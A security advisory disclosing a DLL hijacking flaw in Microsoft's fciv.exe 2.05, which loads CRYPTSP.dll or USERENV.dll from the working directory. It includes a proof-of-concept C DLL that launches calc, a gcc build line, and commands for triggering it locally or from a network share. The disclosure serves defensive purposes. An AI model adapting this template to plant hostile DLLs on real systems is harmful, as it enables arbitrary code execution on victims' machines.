[Product]
File Checksum Integrity Verifier version 2.05 "fciv.exe"

Download:
https://www.microsoft.com/en-us/download/details.aspx?id=11533

Excerpt from the FCIV "ReadMe.txt" file.

"Fciv is a command line utility that computes and verifies hashes of files.

It computes a MD5 or SHA1 cryptographic hash of the content of the file.
If the file is modified, the hash is different.

With fciv, you can compute hashes of all your sensitive files.
When you suspect that your system has been compromised, you can run a verification to determine which files have been modified.
You can also schedule verifications regularily."


[Vulnerability Type]
DLL Hijacking Arbitrary Code Execution


[CVE Reference]
N/A


[Security Issue]
File Checksum Integrity Verifier "fciv.exe" will load and execute arbitrary DLLs "CRYPTSP.dll" or "USERENV.dll"
when verifying a file hash, if one of those DLLs exist in the same directory (CWD) from where FCIV is run.

During testing I observed that on a Windows 10 system both "CRYPTSP.dll" or "USERENV.dll" will execute no problem.
However, only "CRYPTSP.dll" seems to work on the Windows 7 machine I tested.

Therefore, if a malware is named "CRYPTSP.dll" or "USERENV.dll" and you try to verify its hash it will instead get executed.
Upon successfull exploit user will get the following error.

//
// File Checksum Integrity Verifier version 2.05.
//

Error during CryptAcquireContext.
Error msg : The specified procedure could not be found.
Error code : 7f


Again, to exploit this the victim must run the FCIV from an infected directory where the compromised DLL lives.

c:\>fciv.exe "CRYPTSP.dll"

OR from network share where an attacker has write privileges.

net use z: \\x.x.x.x\c$ /user:victim
z:\Users\victim\Desktop>fciv.exe c:\Windows


This was tested successfully on Windows 7/10


[Exploit/POC]
Create a DLL named "cryptsp.dll" and download to your default Downloads directory or wherever.

"evil.c"

#include <windows.h>
//gcc -shared -o cryptsp.dll evil.c

void evilo(void){
WinExec("calc", 0);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}

Start fciv.exe from the same dir where cryptsp.dll resides to verify the hash of the DLL.
C:\Users\victim\Downloads>fciv.exe cryptsp.dll

BOOM! no hash verified but we do get arbitrary code execution...
